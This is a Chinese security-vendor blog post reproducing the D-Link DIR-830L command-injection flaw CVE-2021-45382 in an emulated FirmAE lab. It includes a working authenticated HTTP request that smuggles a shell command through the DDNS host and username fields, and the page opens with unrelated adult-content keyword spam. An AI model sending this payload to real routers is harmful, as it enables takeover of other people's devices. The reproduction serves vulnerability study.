亚洲精品v日韩精品-国产妇女乱码一区二区三区-HD免费看片,大粗又爽又黄少妇毛片免费,亚洲国产精品伦理,韩国三级bd高清中文字幕下载

提交需求
*
*

*
*
*
立即提交
點(diǎn)擊”立即提交”,表明我理解并同意 《美創(chuàng)科技隱私條款》

logo

    產(chǎn)品與服務(wù)
    解決方案
    技術(shù)支持
    合作發(fā)展
    關(guān)于美創(chuàng)

    申請?jiān)囉?/ul>
      D-Link DIR-830L 路由器命令執(zhí)行漏洞(CVE-2021-45382)復(fù)現(xiàn)
      發(fā)布時(shí)間:2023-06-30 閱讀次數(shù): 919 次


      環(huán)境搭建

      1.FirmAE 工具安裝

      首先拉取FirmAE 工具倉庫


      git clone --recursive https://github.com/pr0v3rbs/FirmAE

      圖片

      運(yùn)行下載腳本


      1. cd FirmAE/
        ./download.sh


      圖片

      運(yùn)行./install.sh進(jìn)行安裝

      圖片

      圖片

      2.下載固件

      本文模擬的是設(shè)備型號(hào)為D-Link DIR-830L

      下載地址:


      https://legacy.us.dlink.com/pages/product.aspx?id=f5e0c0a1975a46bab0b5f38b22c5087b
      下載后得到DIR830LA1_FW100B07.bin固件文件
      圖片

      3.FirmAE工具初始化

      FirmAE工具目錄下執(zhí)行./init.sh進(jìn)行初始化

      圖片
      4.安裝binwalk
      這里使用FirmAE工具目錄下的binwalk安裝程序進(jìn)行安裝
      cd binwalk-2.3.3/
      python3 setup.py install

      5.模擬運(yùn)行固件
      執(zhí)行如下命令對(duì)固件進(jìn)行解壓
      binwalk -Me /root/DIR830LA1_FW100B07.bin --run-as=root
      圖片
      執(zhí)行如下命令來模擬運(yùn)行固件
      sudo ./run.sh -r DIR-830 /root/DIR830LA1_FW100B07.bin
      圖片
      使用瀏覽器訪問
      http://192.168.0.1
      圖片

      漏洞復(fù)現(xiàn)

      Exp如下:

      POST /ddns_check.ccp 
      HTTP/1.1Host: 192.168.0.1
      User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101Firefox/95.0
      Accept: */*
      Accept-Language: en-US,en;q=0.5
      Accept-Encoding: gzip, deflate
      Content-Type: application/x-www-form-urlencoded
      X-Requested-With: XMLHttpRequest
      Content-Length: 102
      Origin: http://192.168.0.1
      Connection: close
      Cookie: uid=YnnCDFxmJY # 認(rèn)證信息,此漏洞需要認(rèn)證
      ccp_act=doCheck&ddnsHostName=;ls />/www/1.html;&ddnsUsername=;ls />/www/1.html;&ddnsPassword=123123123

      圖片

      這里我們已經(jīng)成功看到執(zhí)行系統(tǒng)命令,并將ls /命令的結(jié)果寫入1.html中,直接訪問即可查看命令執(zhí)行的效果。

      圖片


      免費(fèi)試用
      服務(wù)熱線

      馬上咨詢

      400-811-3777

      回到頂部